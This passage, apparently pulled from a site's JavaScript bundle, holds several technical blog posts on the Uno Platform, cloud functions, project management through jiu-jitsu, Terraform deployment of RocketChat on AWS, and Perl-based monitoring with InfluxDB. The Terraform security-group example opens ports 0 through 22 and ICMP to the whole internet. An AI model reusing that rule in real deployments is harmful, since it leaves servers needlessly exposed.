essentially had to build both separately, potentially\nsharing data through an API.\n\n
1Before Xamarin, you would even have had to build iOS and Android apps\nseparately using different languages (Swift/Objective-C and\nJava/Kotlin respectively). Uno introduces a way to build for iOS,\nAndroid, Web, and UWP using shared logic and UI.\n\nThis is huge.\n\nSharing logic between platforms has been the âeasyâ part for\ndevelopers. Sharing UI, however, has been difficult. There is a huge\ndifference between the interfaces of Android and iOS, and an even\nlarger difference between web and mobile. `Xamarin.Forms` allows us to\nshare interfaces for Android and iOS but we were still on our own for\nthe web.\n\nUno enables you to write the interface once, then, using native\ncontrols, deploy native look and feel to each of your platforms. This\nmeans, you can use the same code for a button on each platform, and\nusers will see the native button for that platform.\n\n## how does it work?\n\nThe Uno Platform works differently depending on what youâre building.\n\nThe platform specific UI is created by taking the visual tree (the\nstructure of visual objects as defined by the `Visual` base class) and\nrendering into what the platform supports:\n\n- **iOS** - UI Kit\n- **Android** - ViewGroups and Views\n- **Web** - Native controls\n\nThe logic is also deployed differently for each platform.\n\nWhen building a UWP app, Uno runs on top of UWP and WinUI. When\nbuilding Android and iOS apps, Uno runs on top of the Xamarin Native\nStack. Finally, when youâre building a web app, Uno runs on top of\nWebAssembly. The mobile apps and web apps all run with the Mono\nruntime. When it all comes together, it looks a little like this:\n\n<img src="/content/images/blogs/uno-platform/uno-platform-overview.png" />\n\n## well this looks nice, but whatâs really happening under the hood?\n\nLetâs break it down:\n\n**Android and iOS**\n\n1. You write your C# and XAML code in Visual Studio.\n1. Uno takes the code and lets you add any Xamarin specific libraries or tools.\n1. Mono runtime executes the C# code.\n\nThis process is essentially the same as regular Xamarin. The big\ndifference between Xamarin and Uno comes with the ability to run the\nsame UI on the Web.\n\n**Web Apps**\n\n1. You reuse both your mobile app logic and UI.\n1. Uno uses the Web Assembly Bootstrapper to take any .NET standard\n library and execute these files in the JavaScript console.\n1. The Mono runtime then executes the code.\n\nThe ability for Uno to use Web Assembly (which is what allows you to\nwrite your co
1de in C# and not JavaScript) is what makes Uno so unique.\n\n**UWP**\n\n1. You reuse both your mobile app / Web Assembly logic and UI.\n1. Your code is run through the Windows UI which does not need the\n Mono runtime to execute.\n\nThe big difference here is that UWP apps already have the Windows\nnamespaces and do not need to reference the Uno UI. The benefit Uno\nprovides here is the ability to reuse the mobile and web code youâve\nalready written.\n\n## now that we have an idea of how this beauty works, letâs write some code!\n\nTo get started with Uno, follow [their\ninstructions](https://platform.uno/docs/articles/get-started.html)\n\nWhen you create your Uno solution in Visual Studio, there is a similar\nfeel to a `Xamarin.Forms` solution. Here is a look at the projects that\nare auto-created:\n\n<img src="/content/images/blogs/uno-platform/solution.png" />\n\nAs you would see in a `Xamarin.Forms` solution, there are separate\nprojects for each platform and a single shared project. The Droid,\niOS, UWP, and WASM projects are all the same as if you had created a\nblank app for each. The only difference being a reference to the Uno\nUI. The magic happens in the Shared project.\n\nSimilar to the Shared project in `Xamarin.Forms`, the Uno shared project is
1where you\nwill write all your shared logic and UI. Uno provides support for the\nMVVM pattern, which many developers are familiar and comfortable with.\n\n## so, what does a finished product look like?\n\nHere are examples from each of the four platforms using the [example\nâTODOSâ app](https://bit.ly/2IVRUG2) provided by Uno.\n\n**iOS**\n\n<img src="/content/images/blogs/uno-platform/ios.png" alt="TODOS app on iOS"/>\n\n**Android**\n\n<img src="/content/images/blogs/uno-platform/android.png" alt="TODOS app on Android"/>\n\n**UWP**\n\n<img src="/content/images/blogs/uno-platform/uwp.png" alt="TODOS app on UWP"/>\n\n**Web**\n\n<img src="/content/images/blogs/uno-platform/wasm.png" alt="TODOS app on the Web"/>\n\nThese projects all use logic and UI from the shared project. Code\nonce, four apps.\n\n## letâs talk debugging.\n\nDebugging in Uno can be a bit different depending on which platform\nyou are trying to debug.\n\n- **Android and iOS** - For mobile, you will use the same Mono\n debugger you are used to using in Visual Studio, with access to all\n your favorite breakpoints, value changes, etc.\n- **Web** - Currently there is only support for chromium debugging,\n which means Chrome and Edge.\n- **UWP** - Here, the tooling comes from .NET studios which is not as\n efficient with the mono runtime.\n\nWant to try out Uno but donât want to go through the steps to get set\nup through Visual Studio?\n\nThen checkout their\n[playground](https://playground.platform.uno/#wasm-start "Uno Playground")!\n\n<img src="/content/images/blogs/uno-platform/playground.png" alt="Uno Playground"/>\n\nThe Uno Playground is a fun and easy way to look at how different\nitems render on different platforms. They make it quick and easy to\ntry out new styles. This is a great tool for beginners and tutorials.\n\n## what future features can we look forward to?\n\n1. Support for MacOS or Linux\n1. More features from UWP API\n1. Support for smart watches\n\nThe true beauty of Uno is that it encompasses what we as developers\nshould all be striving to achieve - building on each othersâ\naccomplishments. We donât need to re-create the wheel. Real innovation\nhappens when you stand on the shoulders of giants and we all move\nupwards.\n\nHappy coding!\n',icon:m.A,color:"indigo"};var k=t(2320);let I={slug:"the-world-of-cloud-functions",title:"The World of Cloud Functions",excerpt:"Cloud functions are a great way to run small programmatic services in the cloud. They are easy to create and use, are very secure, and need little maintenance. They even scale on-demand in a way that is very difficult to achieve using regular servers.",authors:["Liam Mackey"],publishDate:new Date("2019-03-25"),category:"Development",tags:["Technology","Web Services","AWS","GCP"],readTime:"6 min read",content:'Over the past few years, there has been a new player on the scene of cloud\ninfrastructure. Cloud functions, such as Google Cloud Functions or Amazonâs\nLambda functions, have popped up as a way to run applications in the cloud with\nno need to provision or monitor servers. Cloud functions are growing widely in\npopularity with providers, like GCP (Google Cloud Platform) and AWS (Amazon Web\nServices), expanding the capabilities of their cloud function offerings.\n\n## theyâre cheap\n\nI once built an application using Amazon Lambda functions and for the whole\nlength of the campaign, we never paid more than two cents per three months for\nour use of the Lambda functions. On AWS, you can get up to 1,000,000 requests\nfor free at the base memory level. [Amazonâs affordable\nprices](https://aws.amazon.com/lambda/pricing/) act as a low barrier to entry\nfor those who want to experiment with cloud functions.\n\nRecently, I used Google Cloud Functions to provide on-demand translations for\nall chat messages on a clientâs platform. Despite giving the cloud functions\nthe maximum 2GB of memory and a 200-second timeout, we still kept costs low,\ncomparable to hosting the service on a private server. This was a smart\ninfrastructure move, as the client was looking to clean up their GCP bill.\n[Googleâs pricing model](https://cloud.google.com/functions/pricing) is similar\nto Amazonâs in that they both keep costs low for cloud functions, in fact\nGoogle even allows for two million requests for free at the base memory level.\n\nUsing Google Cloud Functions:\n\n<img src="/content/images/blogs/cloud-functions/gcp-how-it-works.png"\n alt="How it works using Google Cloud Functions."\n title="How
1it works using Google Cloud Functions." />\n\n## theyâre easy\n\nDeveloping cloud functions is not too complex. Most cloud function providers\nallow you to develop locally and push your zip file to the cloud. Or you can\nedit the cloud function in the providerâs inline text editor directly in the\ncloud. In my experience, although the latter may sound easier, itâs usually\nbetter to develop locally because it allows you to write tests for your cloud\nfunction. Cloud providers offer tools like local emulators which when paired\nwith testing libraries can help you make sure your function is working as\nexpected when you deploy.\n[Googleâs Testing and CI/CD documentation](https://cloud.google.com/functions/docs/bestpractices/testing)\nwas helpful to me when testing and deploying my first Google cloud function.\n\n## they have limits\n\nAlthough cloud functions are useful there are drawbacks as well. In general,\nthe file containing the cloud function code has to be less than 2MB in size,\nincluding external libraries. Run time can be an issue too. Most cloud\nproviders do not allow functions to run for more than 300 seconds. Also, the\ncosts for your cloud function are not merely driven by requests; memory usage\nand running time will affect the price you pay for your cloud application.\n\nContinuous integration can be a crucial part of development with cloud\nfunctions. One of the ways to do this is to write procedures to deploy your\ncode to the cloud provider. Most cloud function providers allow terminal tools\nlike the AWS CLI or the gcloud CLI to zip up and deploy functions to the cloud\nquickly and securely.\n\nCloud providers like AWS and GCP allow for their cloud functions to be well\nintegrated with their other services. This means that you can use your cloud\nfunctions for much more than simple API endpoints. For one project, I used\nLambda functions in conjunction with many other AWS services ranging from S3\nand DynamoDB to Elastic Transcoder and SES. I have also integrated Google Cloud\nFunctions with services like Pub/Sub and Datastore. Cloud providers make it\nvery easy for you to create complex architectures using cloud functions as\ncommunication providers for other services. This is a way that cloud functions\nwork to their providersâ advantage as a way to make other less commonly used\nservices more appealing and easier to work with.\n\n## theyâre growing\n\nAs the popularity of cloud functions grow, more advancements are being\nmade. For example, at the 2018 AWS re:Invent, Amazon announced that\nthey will now support new runtimes for their cloud functions. And in\nDecember 2018 GitLab announced they will be launching their own\n[serverless service for beta users](https://about.gitlab.com/product/serverless/).\nCloud functions are growing in popularity, becoming more efficient,\nand easier to use.\n\nAlthough cloud functions likely wonât replace servers any time in the near\nfuture, this doesnât mean that you cannot integrate cloud functions into your\nsite\'s infrastructure. Cloud functions can be a great way to decouple complex\nservices and isolate certain operations on your site which will make it easier\nto debug when things go wrong, as well as lower your cloud provider bill.\n\nCloud functions are becoming easier to use. With new runtimes being supported\nas well as new libraries that make it easier to use cloud functions as a way to\nintegrate different cloud services, there has never been a better time to start\nexperimenting with cloud functions than now.\n\nAn example of how to use AWS Lambda:\n\n<img src="/content/images/blogs/cloud-functions/aws-how-it-works.png"\n alt="How it works using Amazon Lambda Functions."\n title="How it works using Amazon Lambda Functions." />\n\n## give it a shot\n\nCloud functions may not be the future of all development, but they are\ncertainly a step in the direction towards cheap and simple cloud hosting. Since\ncloud functions are so cheap, Iâd encourage anyone who is interested in the\nfuture of development to start playing around with cloud functions. Building\nskills for Amazon Alexa or Google Home is a great place to start. Or even\nwriting a simple HTTP endpoint to perform simple operations and, if you\'re\ninclined, hooking it up to a storage service to display a web page is a great way\nto learn as well. I hope that if you start playing around with cloud functions\nyouâll find them as wonderful, beautiful, and simple as I do. And even if you\ndon\'t, it\'s always good to have another technology under your belt. Good luck\nand let me know what you create.\n\nTo help you dip your toe in this bold new world, you can find examples of how\nto build cloud functions on [Google Cloud Platform](https://cloud.google.com/functions/getting-started/)\nand [Amazon Web Services](https://aws.amazon.com/lambda/getting-started/).\n',icon:k.A,color:"sky"};var T=t(814);let A={slug:"jiu-jitsu-of-project-management",title:"Jiu-Jitsu of project management",excerpt:"About seven months ago, I started practicing Brazilian Jiu-Jitsu, a grappling art founded in Brazil. Immediately after, I began comparing everything to it.",authors:["Emal Sakwall"],publishDate:new Date("2019-01-04"),category:"Culture",tags:["People","Passions","Culture"],readTime:"7 min read",featuredImage:"/content/images/blogs/bjj-pm/wrestling.jpg",content:'My kids started making fun of me: âEverything is Jiu-Jitsu for you, Dada.â And,\nthey were right. If I was reading, Iâd say, âIâm grappling with the book.â If I\nwas cooking, Iâd say, âIâm Jiu-Jitsuing food.â If my five-year-old daughter\nasked me to help her cut her food during dinner, Iâd say, âJust Jiu-Jitsu it.\nPin it down with your fork so it wonât move. Then, cut it.â\n\n\x3c!-- cut --\x3e\n\nI havenât stopped. Every task is a kind of grappling. This includes my work as\na project manager. I grapple to understand the idea behind the project, its\ngoal, and make sure everyone involved is on the same page. Then, I work with\nothers to guide the project to a successful launch. Along the way, the project\nmust be controlled, or it will do whatever it wants. So, I dare draw one more\ncomparison, this time, between some lessons Iâve learned grappling on the mats\nand some Iâve learned managing projects. Imagine the project youâre managing is\nyour opponent and read on.\n\n<img src="/content/images/blogs/bjj-pm/equipe.jpg"\n alt="Image by Reginaldo Almeida. Used with permission of the photographer."\n title="Image by Reginaldo Almeida. Used with permission of the photographer." />\n\n## be prepared and adapt\n\nJiu-Jitsu is a game of control. You aim to control your opponent following the\nrules of the game. But your opponent is not a static thing. They want to\ncontrol you too. You have to prepare yourself. Is your opponent much bigger\nthan you? If so, then make sure they donât âmountâ you. Escape from that\nposition will be nearly impossible. Is your opponent small, fast, and skillful?\nThen, you better watch carefully how they move and adjust accordingly, or\nyouâll be âsubmittedâ quickly. You have to be, Iâll say, dynamically ready.\n\nWhen you step on the mats with the intention of grappling, you should have a\nplan. But know that your opponent is clever and your plan is static. Listen to\nwhat Dwight D. Eisenhower said: âplans are useless, but planning is\nindispensable.â He is talking about being prepared.\n\nThe very same applies when you begin managing a project. You size it up. You\ntry to understand as much about the project as you can. Consider different\nscenarios. Make a plan, with dates and tasks all neatly laid out. Then as you\nbegin working on--grappling with--the project, it changes. If you stick to your\ninitial plan, you will fail in getting the work done. You must grapple with\nthis new reality. What do you do? You must detach yourself from the old plan.\nReconsider the changed project and make a new plan. It is y
1our dynamic\nreadiness that helps you bring the project to completion.\n\n## be aware of threats\n\nIn Jiu-Jitsu, you must never let your opponent control the direction of your\nhead/face. Never stay flat on the ground. Do not push against your opponent;\nyou donât want them to be your anchor and render yourself immobile. If you\ndonât follow these rules, there will be consequences. Your opponent will\nâsubmitâ you. If not, youâll end up using all your strength (not proper\ntechnique), and before you know it, all your energy is spent and you are\nuseless.\n\nWhether on the mats or in a project, unexpected things happen. And they are\nrarely in your favor. You canât predict the unexpected. So what to do? You can\nput in place measures to wrestle them when they appear. Accept that anything\nthat can go wrong, more than likely, will go wrong.\n\nMake sure your project goal is as clear as it can be. Everyone should be aiming\nat the same target. Build contingency in your plan. Adding extra time is a\ngreat idea if possible. Most projects take longer than originally anticipated.\nBreak up the scope of the project into âmust havesâ and ânice to haves.â If you\ndonât have time to get everything done by the deadline, you can, at least,\ndeliver the âmust haves.â Make sure everyoneâs role is clearly defined. This\nway, you can track every team memberâs work and address bottlenecks if there\nare any.\n\nUgly things will rise up suddenly or creep out from the depths and stand in\nyour way. You can make it easier for yourself to face them if you anticipate\nthem.\n\n## be precise\n\nWhile grappling, you must hold yourself and move in certain ways. Keep your\nelbows tight against your body. And of course, every technique executed must be\nprecise for it to be effective.\n\nWhen you are grappling with a project, you need to be precise with your\ncommunications and define the project as well as you can. What is the project\ngoal? What is the scope? What are the constraints? If your goal is clear, then\nyou know what youâre aiming for. The more explicit your project scope is, the\nclearer its boundaries. If you know what restricts you (letâs say,\ntiming/budget), then you know what you can and cannot do to get to your goal.\n\nAlso, define what success means. As a white belt, when I step on the mats\nfacing a higher belt, my success criterion is to avoid âsubmission,â surviving.\nBut if I face an equal ranking grappler, then I define success differently. I\naim higher. Do the same with your projects. Considering the constraints, define\nwhat it means to successfully reach your project goal.\n\nClearly defined things are easy to see. The easier they are to see, the easier\nthey are to control. You want to control your project. Not the other way around.\n\n## pressure and space\n\nImagine an opponent of considerable size pinning you to the ground, crowding\nyou to a degree where you cannot move or breathe easily. They are controlling\nyou while they cleverly look for a way âto choke you out.â So, what is missing?\nWhat do you do to get out of this situation?\n\nSpace is missing. Donât panic and fight ineffectively. Look for space so you\ncan move. Once you create space, pressure is relieved and youâll have a better\nperspective of your situation. Then, plan your escape to a better position from\nwhere you can move.\n\nWhen sizable projects become too heavy and crowd your head with thoughts of\nfalling behind schedule or going over budget, disengage. Look for that\nheadspace you need to think. Good thoughts, effective thoughts, need room. You\ndonât have to confront every aspect of the project. Identify the main obstacles\nstanding in your way. Maybe you need to thin out the scope. Maybe you need to\nextend the deadline. And remember that your teammates and partners/clients are\nyour allies. After all, you have the same goal, getting the work done.\n\n## conclusion\n\nWhen you prepare at the very beginning, youâll be able to come up with a new\nplan, one that works now. When you are as precise as you can be while defining\nthe project, youâll be able to see if your new plan will work for the project\nor not. Then, re-engage and restart your negotiations with the project.\n\nBe efficient and patient. Use technique, not brute force. Control the space\nbetween you and the project. Think in terms of leverage and slack. Let go of\nwhat is unimportant and focus on what is. Use the least force to the greatest\neffect. Bring the project to as clean of a finish as you can. Win with grace\nand lose with class.\n',icon:T.A,color:"red"};var x=t(639);let S={slug:"taking-up-the-slack-with-rocketchat",title:"Taking up the Slack with RocketChat",excerpt:"Automate the deployment of a chat server to be quickly available in case of a Slack outage.",authors:["Phil Shirley"],publishDate:new Date("2018-11-05"),category:"Development",tags:["Technology","Operations","Automation","AWS","Terraform"],readTime:"7 min read",content:'Here at Infinity Interactive, we are an entirely remote team. As such,\nhigh availability of our communication tools is paramount to our\nsuccess. Our daily methods of communication include JIRA, email,\ncommit messages, and even, _gasp_, telephones. While these are\
1neffective at doing their job, they are not a replacement for that\nâhumanâ feel you get when you go into an office and have the ability\nto have group and individual conversations with your co-workers. For\nthat piece of the puzzle, we use [Slack](https://slack.com/).\n\n\x3c!-- cut --\x3e\n\n## the problem\n\nSlack provides us with real-time messaging between our teammates, as\nwell as a select list of external partners. It also allows us to share\nfiles, make conference calls, and provides us with a much needed\noutlet to tell the latest and greatest dad joke. For the most part,\nSlack is great. It\'s intuitive, fairly affordable, pretty reliable,\nand consistently gets new features.\n\nOn the down side, Slack is an external platform. Sometimes we wind up\nbeing subject to outages over which we have no control. Since\ncommunication is so vital to what we do, we decided to look for a\nsolution that could be used on-demand for when there was an outage at\nSlack.\n\n## the solution\n\nIn order for this solution to meet our needs, several criteria had to\nbe met. First and foremost, the solution had to be easily deployed and\nrunning with little to no additional configuration or administration.\nThis means that once the solution is running, all of our teammates\nshould be able to login and go about their day as if nothing happened.\nOn that same note, since this is primarily used as a back up, the\nsoftware instance had to be easily destroyed, but have its state\nretained for the next time it is used. Finally, since Infinity loves\nopen source, our preference would be to use an open source solution.\n\nEnter [RocketChat](https://rocket.chat "RocketChat"). RocketChat is an\nenterprise grade, open source, real-time chat platform which offers\nboth self-hosted and managed plans, and excellent documentation\nfor installation.\n\n## making it work\n\nWhen using Ubuntu 16.04 and higher, the method in which RocketChat is\ninstalled is via a "Snap". Snaps are software packages that are\ncontainerized. More information on snaps can be found at\n[Snapcraft](https://snapcraft.io "Snapcraft")\n\nWith Snaps enabled on Ubuntu 16.04 and higher, installation is as\nsimple as `sudo snap install rocketchat-server`.\n\nGreat. This sounds simple enough, but we want this to be an on-demand\nsolution. We don\'t want to have a server running all the time,\nsilently accruing AWS charges. So we have to provision a server,\ndeploy that server into the appropriate VPC, and configure security\ngroups. This is starting to sound like a time consuming process and\ncertainly not something that would be easily deployable in the event\nof an outage. Wait, what\'s that popping its head up from our\noperations toolbox? It\'s [Terraform](https://www.terraform.io/) to the\nrescue.\n\nWith Terraform we can create our infrastructure programmatically and\nre-use that infrastru
1cture as needed. Using Terraform also provides us\nwith a way to make changes to the underlying infrastructure, track\nthose changes when used in conjunction with version control\napplications, such as [BitBucket](https://bitbucket.org/), and then\neasily deploy the necessary resources.\n\n## prerequisites\n\nWhile Terraform is awesome in that it can be used across many\nproviders, this solution was deployed on AWS, and the example below is\nfor usage with the AWS platform. Remember, Terraform will need to be\ninstalled and configured if it has not already been set up.\n\n## the code\n\nSupply your AWS Access Key, Secret Key, and desired Region. Since\nthese are sensitive credentials, it is advisable to create a\nconfiguration file which contains your variable definitions and\ncredential information. As a manner of best practice, the\nconfiguration file with secrets should not be stored in version\ncontrol.\n\n```ini\nprovider "aws" {\n access_key = "${var.aws_access_key}"\n secret_key = "${var.aws_secret_key}"\n region = "desired-aws-region"\n}\n\nresource "aws_key_pair" "deployer" {\n key_name = "${var.key_name}"\n public_key = "${var.public_key}"\n}\n\ndata "aws_security_group" "security_group" {\n id = "${var.security_group}"\n}\n```\n\nProvision and deploy the EC2 instance. In order to utilize the snap\ninstallation of RocketChat, we are using the Ubuntu 16.04 AMI.\n\n```ini\ndata "aws_ami" "ubuntu" {\n most_recent = true\n\n filter {\n name = "name"\n values = ["ubuntu/images/hvm-ssd/ubuntu-xenial-16.04-amd64-server-*"]\n }\n\n filter {\n name = "virtualization-type"\n values = ["hvm"]\n }\n\n owners = ["099720109477"] # Canonical\n}\n\nresource "aws_instance" "web" {\n ami = "${data.aws_ami.ubuntu.id}"\n instance_type = "t2.micro"\n key_name = "${aws_key_pair.deployer.key_name}"\n security_groups = ["${data.aws_security_group.security_group.name}"]\n\n # Now for the fun stuff, installing RocketChat on our EC2 instance.\n\n provisioner "remote-exec" {\n connection {\n type = "ssh"\n user = "ubuntu"\n private_key = "${file(var.private_key)}"\n agent = true\n }\n\n inline = [\n "sudo snap install rocketchat-server",\n "sudo rocketchat-server.initcaddy"\n ]\n }\n tags {\n Name = "II-RocketChat"\n }\n}\n```\n\nThen we\'ll need to define some local variables and outputs so that\nTerraform will spit out the details of our deployment.\n\n```ini\nlocals {\n this_id = "${join(",", aws_instance.web.*.id)}"\n this_key_name = "${join(",", aws_instance.web.*.key_name)}"\n this_public_dns = "${join(",", aws_instance.web.*.public_dns)}"\n this_public_ip = "${join(",", aws_instance.web.*.public_ip)}"\n}\noutput "id" {\n description = "List of IDs of instances"\n value = ["${local.this_i
1d}"]\n}\noutput "key_name" {\n description = "List of key names of instances"\n value = ["${local.this_key_name}"]\n}\noutput "public_dns" {\n description = "List of public DNS names assigned to the instances. For EC2-VPC, this is only available if you\'ve enabled DNS hostnames for your VPC"\n value = ["${local.this_public_dns}"]\n}\noutput "public_ip" {\n description = "List of public IP addresses assigned to the instances, if applicable"\n value = ["${local.this_public_ip}"]\n}\n```\n\nSetting up the security group rules to allow traffic to reach the\nRocketChat server.\n\n```ini\nresource "aws_security_group" "allow_some" {\n name = "allow_some"\n description = "Allow important inbound traffic"\n\n ingress {\n from_port = 0\n to_port = 22\n protocol = "tcp"\n cidr_blocks = ["0.0.0.0/0"]\n }\n ingress {\n from_port = 22\n to_port = 22\n protocol = "tcp"\n cidr_blocks = ["0.0.0.0/0"]\n }\n ingress {\n from_port = 80\n to_port = 80\n protocol = "tcp"\n cidr_blocks = ["0.0.0.0/0"]\n }\n ingress {\n from_port = 443\n to_port = 443\n protocol = "tcp"\n cidr_blocks = ["0.0.0.0/0"]\n }\n ingress {\n from_port = 0\n to_port = 0\n protocol = "icmp"\n cidr_blocks = ["0.0.0.0/0"]\n }\n\n tags {\n Name = "Rocket_Chat_Security"\n }\n}\n```\n\nOnce the Terraform template is completed, it can be executed by\nrunning `terraform apply`.\n\nWhen the `terraform apply` command is issued, Terraform will output\na list of the resources that are going to be configured.\n\n\n\nIf the plan to be executed is correct, confirm the execution of the\nplan. Terraform will then output all relevant information pertaining\nto the infrastructure deployment.\n\n\n\nOnce the process is complete, Terraform will indicate that the\nresources have been provisioned.\n\n\n\nLook at that speed! The stack was deployed and RocketChat installed in\nless than 5 minutes.\n\n\n\nAs stated earlier, one necessity for this backup chat solution is\nthat it can be as easily destroyed as it can be created. This can be\naccomplished by simply issuing the `terraform destroy` command.\n\nThere you have it. Spinning up a chat server and tearing it down with\nthe speed of a rocket.\n\n## areas of improvement\n\nWhile the above steps quickly set up the infrastructure necessary to\nrun a RocketChat server, some additional configuration is necessary.\nThese items include configuring the server with the correct domain\nname and restarting the application server, as well as connecting\nRocketChat to Active Directory for user authentication. Finally, it\nwould be an extra bonus if the RocketChat database were backed up\nprior to termination of the server allowing us to have a standing\nhistory of messages.\n\nLook for an upcoming post on how we leverage a configuration\nmanagement tool, such as [Chef](https://www.chef.io/), to handle these\nitems.\n',icon:x.A,color:"green"};var C=t(7828);let P={slug:"system-monitoring-summoning-the-beast-of-a-thousand-eyes",title:"System monitoring: summoning the beast of a thousand eyes",excerpt:"building a extensible, metric-collecting cli app for InfluxDB.",authors:["Yanick Champoux"],publishDate:new Date("2018-07-31"),category:"Development",tags:["Monitoring","Perl","InfluxDB","Technology"],readTime:"8 min read",featuredImage:"/content/images/blogs/oculi/peacock.jpg",content:"System monitoring. A pretty vital part of any network management.\nThat is, unless you're one of the few who live for the visceral thrill\nof flying blind. For the rest of us partial to our lack of heart condition,\nan ounce of prevention is worth ten thousand gallons of Saturday morning\nintervention.\n\n
1In this blog entry, I'll go through the exercise of putting\ntogether a simple but working and easily\nextensible system monitoring setup leveraging common pieces of technology.\n\n\x3c!-- cut --\x3e\n\n## setting up the pieces\n\nBefore anything else, it bears mentioning that not two\ninfrastructures are alike, and that monitoring is not a one-size-fits-all\nproblem space. Network scale can go from massive server farms to\na handful of machines. Those machines can all be on the same operating\nsystem, or can be wildly heterogeneous. They can be cloud-based virtual\nmachines, or beige physicalities warming up a basement.\nWe might be interested in the\nusual metrics (disk and CPU usage, bandwidth, etc.), or maybe something more\nexotic.\n\nThe system presented in this article is based on my\nprivate network. This means:\n\n- a network of very modest scale and pretty homogeneous make;\n- I'm interested in some of the standard metrics, but also in\n unconventional, tailor-suited measurements;\n- I love setting up software solutions for fun, but there is a limit on my\n free time â the system must be fairly quick to setup and be low\n maintenance;\n- total budget for the whole system: firmly nailed to _zilch_.\n\nPut more succinctly, \"frugality\" is the order of the day.\n\nWith those in mind, I rummaged in my toolbox and settled with a three-part\nsolution.\n\nFor the backend, I'll use the time-series database [InfluxDB][].\nImplemented in Go, the installation of the database can literally be:\ndownload, unarchive, run. That's pretty much as painfree as software\ninstallation can get.\n\nDealing with the database â via its cli client or REST interface â also\na low hurdle; the language it uses is very close to dear ubiquitous SQL, and\ncreation of new metrics/time-series happens automagically when new measurements\nare pushed. And while the commercially-supported edition of InfluxDB\nis geared toward big data with database replication, sharding, and flexible retention\npolicies, the free standalone version is perfectly fine for my diminutive, non-mission\ncritical group of machines.\n\nOn top of its own qualities, InfluxDB also has a little surrounding\necosystem providing bonus value. There is [Telegraf][] - a metric-collecting agent,\n[Chronograf][] - a data visualizer, and [Kapacitor][] - an alert manager.\n\nTelegraf is well worth looking into, as it comes with a vast array of clients\nto monitor disk/cpu/bandwidth usage, can gather metrics for most databases and\ncommon services like mail servers and such. And what it doesn't have out of the\nbox, it can be extended with via a HTTP interface, or via running external\nprograms.\n\nChronograf has made tremendous progress in the last year. But I personally\nprefer and use [Grafana][] for graphing the time-series.\nIt supports InfluxDB out of the box, is more mature,\nhas a much larger user-base, more plugins, and, frankly, looks prettier.\n\nFor the purpose of this article, this is all I'm going to say about the\nstoring and the visualization of the measurements. Both because there is not\nmuch to be said about them beyond \"install'em and run'em\", and because they\nare fairly irrelevant pieces of the solution. InfluxDB and Grafana could easily be\nreplaced\nby [Prometheus](https://prometheus.io/) without much change to the beating\ncore of the system, which is the collection of metrics.\n\nFor that gathering of metrics,\nI'll bring together a few choice\nPerl modules and create a (mini-)framework abstracting the minutia around the\ncollection, formatting and pushing of metrics, making the work required to\nimplement new metrics as minimal as possible.\n\n## invocation spells\n\nBefore diving into the _how_, let me show you what endgame we're gunning for.\n\nWhat we'll have is a metric collection program named `oculi`, and each\nmetric we'll want to collect will be implemented as a sub-command (\xe0 la\ngit). For now, let's take the example of a metric monitoring the health\nof a webpage.\n\nAs a base invocation, we'll be able to pass the configuration parameters\nto the metric from the command line and get back the measurements.\n\n```bash\n$ oculi webpage --url http://techblog.babyl.ca --content Hacking\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=0.163129,status=200i 1527525733776843000\n```\n\nThe measurement output is in the format that InfluxDB understands. If we want\nto record it, we could pipe it to a `curl` command hitting the right REST\nendpoint. But that's onerous. So we'll be able to it do directly from `oculi`\ninstead:\n\n```bash\n$ oculi webpage --url=http://techblog.babyl.ca --content=Hacking --influxdb=oculi\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=0.177384,status=200i 1527525897821353000\n\nsending data to http://localhost:8086/write?db=oculi...\n```\n\nPassing parameters via the command line is excellent for exploration, but less\nso once we want to set up checks. Once we're at that stage, we'll be able to\nuse configuration files as well.\n\n```bash\n$ cat checks/website/techblog.yml\n---\nwebpage:\n url: http://techblog.babyl.ca\n content: [ Hacking ]\n\n% oculi webpage --config checks/website/techblog.yml\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=0.152118,status=200i 1527526098328207000\n```\n\nIn fact, we'll also be able to just pass the configuration file to `oculi`\nand let it figure out the rest.\n\n```bash\n$ oculi run checks/website/techblog.yml\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=0.15781,status=200i 1527526197279020000\n```\n\nFor maximal ease and ad-hoc tweaks, it'll be possible to\nuse the configuration file as a baseline and override some of the\nparameters on the command line.\n\n```bash\n$ oculi run checks/website/techblog.yml --postfixdb=oculi\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=0.15781,status=200i 1527526197279020000\n\nsending data to http://localhost:8086/write?db=oculi...\n```\n\nAnd just because it's no fun until it gets ludicrous, we'll make it possible\nto invoke the configuration file as its own program.\n\n```bash\n$ cat ./checks/website/techblog.yml\n\n#!/usr/bin/env oculi\n---\nwebpage:\n url: http://techblog.babyl.ca\n content: [ Hacking ]\n\n$ ./checks/website/techblog.yml\n\nwebpage,url=http://techblog.babyl.ca is_live=TRUE,response_time=8e-06,status=200i 1527526371742747000\n\n```\n\n## implementing a simple metric\n\nSo, how would one implement an `oculi` metric? Let's walk through it,\nusing the webpage healthcheck example of the previous section.\n\nSimply put, a metric is expected to accept configuration arguments, and output\nmeasurements.\nWith InfluxDB, measurements have 4 components: the metric name (\"webpage\"), tags providing details on the observed\nsystem (e.g., the url of webpage), one or more measured\nvalues (e.g., `is_live`, `response_time`, `status`), and of course a\ntimestamp.\n\n
1In our example we have two configuration elements: the url\nof the webpage (which is also a measurement tag), and an optional list of regular expressions which we may\nwe want to assert. Code-wise, this translates to:\n\n```perl\nhas option tag url => (\n documentation => 'url of the monitored webpage',\n required => 1,\n);\n\nhas option content => (\n documentation => 'list of regular expressions to be found in the page',\n isa => 'ArrayRef',\n lazy => sub { [] },\n);\n```\n\nNext in line is the name of the metric.\nIn most cases, the name of the Perl module implementing is going to match\nthe metric name, so by default giving a relevant name to the module is\ngoing to be sufficient:\n\n```perl\npackage App::Oculi::Metric::Webpage;\n```\n\nNow the outputs. Just like for the inputs, we create\nfield attributes labelled as fields. How to find them, and what to\ndo with them is a job the main program will address later on.\n\n```perl\nhas field status => sub($self) {\n $self->response->{status};\n};\n\nhas field is_live => sub($self) {\n $self->error ? 'FALSE' : 'TRUE';\n};\n\nhas field response_time => sub($self) {\n $self->timer->elapsed;\n};\n\nhas field error => sub($self) {\n my $response = $self->response;\n\n return 'GET failed' unless $response->{success};\n\n for my $re ( $self->content->@* ) {\n return \"body doesn't match $re\" unless $response->{content} =~ /$re/;\n }\n\n return;\n};\n```\n\nOf course, we also need to implement the actual querying of the\nwebpage.\n\n```perl\nuse HTTP::Tiny;\nuse Timer::Simple;\n\nhas ro agent => sub { 